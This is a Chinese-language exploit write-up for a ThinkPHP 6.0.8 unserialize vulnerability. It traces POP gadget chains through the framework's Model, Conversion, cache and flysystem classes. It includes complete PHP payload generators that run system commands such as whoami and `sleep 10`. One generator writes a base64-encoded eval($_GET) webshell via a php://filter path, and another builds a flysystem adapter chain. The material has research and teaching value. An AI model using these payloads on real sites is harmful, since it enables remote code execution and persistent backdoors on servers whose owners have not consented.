tp6.0.8反序列化漏洞分析
01、環境搭建
composer create-project topthink/think=6.0.x-dev thinkphp-v6.0
首先構造一個反序列化點
app/controller/Index.php
namespace app\controller;
use app\BaseController;
class Index extends BaseController {
public function index() {
if(isset($_POST['data'])) {
@unserialize($_POST['data']);
}
highlight_string(file_get_contents(__FILE__));
}
}
在 ThinkPHP5.x 的POP鏈中,入口都是 think\process\pipes\Windows 類,通過該類觸發任意類的
__toString 方法。但是 ThinkPHP6.x 的代碼移除了 think\process\pipes\Windows 類,而POP鏈
__toString 之后的 Gadget 仍然存在,所以我們得繼續尋找可以觸發 __toString 方法的點。先從起點 __destruct() 或 __wakeup 方法開始,因為它們就是unserialize的觸發點。
02、尋找 __destruct 方法
我們全局搜索 __destruct() 方法,這里發現了/vendor/topthink/think-orm/src/Model.php中Model 類的 __destruct 方法:
當 $this->lazySave 為真時,調用save方法,跟進save方法
這里對 $this->exists 屬性進行判斷,如果為true則調用updateData()方法,如果為false則調用insertData()方法。而要想到達這一步,需要先滿足下面這個if語句:
if ($this->isEmpty() || false === $this->trigger('BeforeWrite'))
{
return false;
}
只需 $this->isEmpty() 為返回false, $this->trigger('BeforeWrite') 返回true即可。進 $this->isEmpty() 方法:
public function isEmpty(): bool
{
return empty($this->data);
}
這里 $this->data 不為空即可
跟進 $this->trigger() 方法
此處需要滿足 $this->withEvent 為false之后當 $this->exists == true 時進入 $this->updateData() ;當 $this->exists == false 時進
入 $this->insertData() 。先跟進updateData()方法
這里下一步的利用點存在于 $this->checkAllowFields() 中,但是要進入并調用該函數,需要先通過
兩處if語句:通過①處if語句:通過上面對trigger()方法的分析,我們知道需要令 $this->withEvent == false 即
可通過。由于前面已經繞過了save()方法中的trigger(),所以這里就不用管了。通過②處if語句:需要 $data == 1 (非空)即可,所以我們跟進 $this->getChangedData() 方法
(位于vendor\topthink\think-orm\src\model\concern\Attribute.php中)看一下:
我們只需要令 $this->force == true 即可直接返回 $this-data ,而我們之前也需要設置 $thisdata 為非空。回到 updateData() 中,之后就可以成功調用到了 $this->checkAllowFields() ,跟
進該函數
這里需要調用到 $this->db 方法,所以需令 $this->field 為空并且 $this->schema 也為空。
這兩個字段默認為空,所以不需要管
之后進入db方法
在該方法中使用了 . 進行字符串拼接,我們可以把 $this->table 或 $this->suffix 設置成相應的類
對象,此時通過 . 拼接便可以把類對象當做字符串,就可以觸發 __toString() 方法了
目前為止,前半條POP鏈已經完成,即可以通過字符串拼接去調用 __toString() ,所以先總結一下我
們需要設置的點:
$this->data不為空 $this->lazySave == true $this->withEvent == false $this->exists == true $this->force == true
調用過程如下:
PHP __destruct()——>save()——>updateData()——>checkAllowFields()——>db()——>$this->table . $this->suffix(字符串拼接)——>toString()
03、尋找 __toString() 方法
既然前半條POP鏈已經能夠觸發 __toString() 了,下面就是尋找利用點。這次漏洞的__toString() 利用點位于 vendor\topthink\think-orm\src\model\concern\Conversion.php 中名為Conversion 的trait中:
public function __toString()
{
return $this->toJson();
}
跟進 toJson
public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
{
return json_encode($this->toArray(), $options);
}
跟進toArray

跟進 getAttr()

先看返回值 的 $this->getValue這里的
$closure = $this->withAttr[$fieldName]; $value = $closure($value, $this->data);
注意看這里,我們是可以控制 $this->withAttr 的,那么就等同于控制了 $closure 可以作為動態函
數,執行命令。根據這個點,我們來構造pop。

04、POP鏈構造
入口點在 src/Model.php 的 __destruct ,我們需要控制 $this->lazySave 為真來進入if循環調用save函數
在save函數中需要使 $this->isEmpty() 為false,也就是 $this->data 不為空,并且 $this->trigger為true,也就是 $this->withEvent 為true,該屬性在 src/model/concern/ModelEvent.php 中。之后
再使 $this->exists 為true即可進入updateData方法

進入了updateDate方法之后,由于前面的 $this->trigger 已經為true,只需要 $data 不為空即可調
用 $this->checkAllowFields() 方法,也就是 src/model/concern/Attribute.php 里的getChangedDate方法不為空

在getChangedDate中,如果 $this->force 為true,則直接返回 $this->date ,而 $this->data 前面
已經不為空了
所以要想進入checkAllowFields方法,需要滿足下滿的條件
$this->lazySave == true $this->data不為空 $this->withEvent == false $this->exists == true $this->force == true
model 類是復用了 trait 類 的,可以訪問其屬性,和方法。Model 類 是抽象類,不能被實例化,所
以我們還需要找到其子類。Pivot 類就是我們需要找的類。現在已經成功執行到了 $this->checkAllowFields() ,還得進入 $this->db()

這里只需要 為空,this->schema 也為空即可進入db方法

將 $this->name 或 $this->suffix 設置為含有 __toString 的類對象就可以觸發此魔術方法這里注意的是,我們需要觸發 __toString 的類 是 conversion 類 而這個類是 trait 類, 而當前的model 類是 復用了 conversion 類的,所以我們相當于重新調用一遍 Pivot類。也就是重新調用一下自己,觸發自己的的 __toString 方法調用 __toString 方法的poc
namespace think\model\concern;
trait Attribute {
private $data=['456'=>'123'];
}
trait ModelEvent {
protected $withEvent = true;
}
namespace think;
abstract class Model {
use model\concern\Attribute;
use model\concern\ModelEvent;
private $exists;
private $force;
private $lazySave;
protected $suffix;
function __construct($a = '') {
$this->exists = true;
$this->force = true;
$this->lazySave = true;
$this->withEvent = false;
$this->suffix = $a;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model {
}
echo urlencode(serialize(new Pivot(new Pivot())));
?>
之后便是 __toString 的構造了,在 vendor/topthink/thinkorm/src/model/concern/Conversion.php 里面。首先是進入 toJson

然后調用 toArray

在toArray中會調用getAttr

前面兩個 foreach 不做處理,再下來這個 foreach 會進入最后一個 if分支 ,調用 getAttr 方法。這個foreach 是遍歷 $this->data ,然后將 $data 的 $key 傳入 getAttr該函數是在 src/model/concern/Attribute.php 中

然候會進入getValue

我們只需要將 $closure 設置為 system 等函數即可執行任意命令,也就是 $this->withAttr[$fieldName] ,
也就是 $this->withAttr[$this->getRealFieldName($name)]

其中 $this->strict 默認為true,如果將 $this->convertNameToCamel 設置為false,則會直接返回$name所以就相當于 $this->withAttr[$name] 為一個命令執行函數, $name 就是getAttr中的 $key ,也就是$data 的鍵值

其中參數值就是 $this->getData($name)

相當于data數組中的鍵值。withAttr數組中的鍵值為函數,data數組中的鍵值為參數,并且鍵名需要相同
05、命令執行POC1
namespace think\model\concern;
trait Attribute {
private $data=['cyz'=>'whoami'];
private $withAttr=['cyz'=>'system'];
}
trait ModelEvent {
protected $withEvent = true;
}
namespace think;
abstract class Model {
use model\concern\Attribute;
use model\concern\ModelEvent;
private $exists;
private $force;
private $lazySave;
protected $suffix;
function __construct($a = '') {
$this->exists = true;
$this->force = true;
$this->lazySave = true;
$this->withEvent = false;
$this->suffix = $a;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model {
}
echo urlencode(serialize(new Pivot(new Pivot())));
?>

06、命令執行POC2
也可以直接令$this->exists = false;,進入insertData方法,直接調用db
namespace think\model\concern;
trait Attribute {
private $data=['cyz'=>'whoami'];
private $withAttr=['cyz'=>'system'];
}
trait ModelEvent {
protected $withEvent = true;
}
namespace think;
abstract class Model {
use model\concern\Attribute;
use model\concern\ModelEvent;
private $exists;
private $lazySave;
protected $suffix;
function __construct($a = '') {
$this->exists = false;
$this->lazySave = true;
$this->withEvent = false;
$this->suffix = $a;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model {
}
echo urlencode(serialize(new Pivot(new Pivot())));
?>
06、其他利用鏈
尋找__destruct方法
在 vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php 文件中找到個可
以利用的 __destruct 方法
當 $this->autosave 為false時進入save方法
進入 save 函數,發現并沒有實現什么功能,所以我們需要尋找 AbstractCache 類的子類有沒有實現該
函數
在 src/think/filesystem/CacheStore.php 中存在符合條件的子類
這里 $this->store 可控,所以我們可以觸發任意類的 set 方法,只要找到任意類存在危險操作的 set方法即可利用
跟進getForStorage函數$this->cache 可控, $this->complete 可控,因此 $contents 可控,只不過經過一次json編碼

尋找危險的set方法
在 vendor/topthink/framework/src/think/cache/driver/File.php 中存在符合條件的set方法
public function set($name, $value, $expire = null): bool {
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
}
catch (\Exception $e) {
// 創建失敗
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//數據壓縮
$data = gzcompress($data, 3);
}
$data = "" .
$data;
$result = file_put_contents($filename, $data);
if ($result) {
clearstatcache();
return true;
}
return false;
}
$this->getExpireTime($expire) 是返回一個整數,跟進getCacheKey

$this->options 可控,所以 getCacheKey 返回的值可控
跟進一下serialize

$this->options['serialize'][0] 可控, $serialize 可控, $data 為我們傳入 set 函數的$value ,也就是 $this->store->set($this->key, $contents, $this->expire); 中的 $content ,
是可控的。只不過此時 $data 經過json編碼
所以這里可以構造動態代碼執行
POC1
namespace League\Flysystem\Cached\Storage;
abstract class AbstractCache {
}
namespace think\cache;
use think\cache\Driver;
abstract class Driver {
}
namespace think\cache\driver;
use think\cache\driver;
class File extends Driver {
protected $options = [];
public function __construct() {
$this->options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => '',
'path' => '',
'hash_type' => 'md5',
'data_compress' => false,
'tag_prefix' => 'tag:',
'serialize'=> ['system']
];
}
}
namespace think\filesystem;
use League\Flysystem\Cached\Storage\AbstractCache;
class CacheStore extends AbstractCache {
protected $store;
protected $key;
protected $autosave;
protected $complete;
public function __construct($store) {
$this->autosave = false;
$this->key = "1";
$this->complete = '`sleep 10`';
$this->store = $store;
}
}
use think\cache\driver\file;
$a = new CacheStore(new File());
echo serialize($a);
echo "
";
echo urlencode(serialize($a));
?>
這里成功調用了system命令,在linux中可以使用反引號來進行無回顯的命令執行
繼續往下會看到一個任意文件寫入
$data = "" . $data; $result = file_put_contents($filename, $data);
經典“死亡exit”,可以偽協議繞過,最后文件名是 $key 的md5
$name = hash($this->options['hash_type'], $name);
$name 為文件名,來源于$this->key,可控,$this->options['hash_type']也可控。
最終文件名是經過hash后的,所以最終文件名可控(本文演示POC中$key = "1",$this->options['hash_type'] = 'md5',
所以最終文件名為1的md5值)。
$this->options['path'] 使用php filter構造 php://filter/write=convert.base64- decode/resource=think/public/ 指向tp6根目錄
最終拼接后的$filename 為php://filter/write=convert.base64-decode/resource=./
此外,為了確保php偽協議進行base64解碼之后我們的shell不受影響,所以要計算解碼前的字符數。
假設傳入的$expire=0,那么shell前面部分在拼接之后能夠被解碼的有效字符為:php//000000000001exit共有21個,要滿足base64解碼的4字符為1組的規則,在其前面補上3個字符用
于逃逸之后的base64解碼的影響。
但是實際上會少一個<所以在base64編碼的時候需要使用兩個 <<

POC2
https://www.heibai.org/1604.html
https://www.cnblogs.com/20175211lyz/p/13639789.html
https://new.qq.com/omn/20200629/20200629A0RG1800.html
namespace League\Flysystem\Cached\Storage;
abstract class AbstractCache {
}
namespace think\cache;
use think\cache\Driver;
abstract class Driver {
}
namespace think\cache\driver;
use think\cache\driver;
class File extends Driver {
protected $options = [];
public function __construct() {
$this->options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/write=convert.base64-
decode/resource=./',
'hash_type' => 'md5',
'data_compress' => false,
'tag_prefix' => 'tag:',
'serialize'=> ['trim'] //使用trim去掉[]
];
}
}
namespace think\filesystem;
use League\Flysystem\Cached\Storage\AbstractCache;
class CacheStore extends AbstractCache {
protected $store;
protected $key;
protected $autosave;
protected $complete;
public function __construct($store) {
$this->autosave = false;
$this->key = "1";
$this->complete = 'uuuPDw/cGhwIHBocGluZm8oKTtldmFsKCRfR0VUWzFdKTs/PiA=';
$this->store = $store;
}
}
use think\cache\driver\file;
$a = new CacheStore(new File());
echo serialize($a);
echo "
";
echo urlencode(serialize($a));
?>

POC3
https://yq1ng.github.io/z_post/ctfshow-thinkphp%E4%B8%93%E9%A2%98/
/**
* @Author ying
* @Date 8/20/2021 5:01 PM
* @Version 1.0
*/
namespace League\Flysystem\Cached\Storage {
use League\Flysystem\Adapter\Local;
class Adapter {
protected $autosave = true;
protected $expire = null;
protected $adapter;
protected $file;
public function __construct() {
$this->autosave = false;
$this->expire = '';
$this->adapter = new Local();
$this->file = 'yq1ng.php';
}
}
}
namespace League\Flysystem\Adapter {
class Local {
}
}
namespace {
use League\Flysystem\Cached\Storage\Adapter;
echo urlencode(serialize(new Adapter()));
}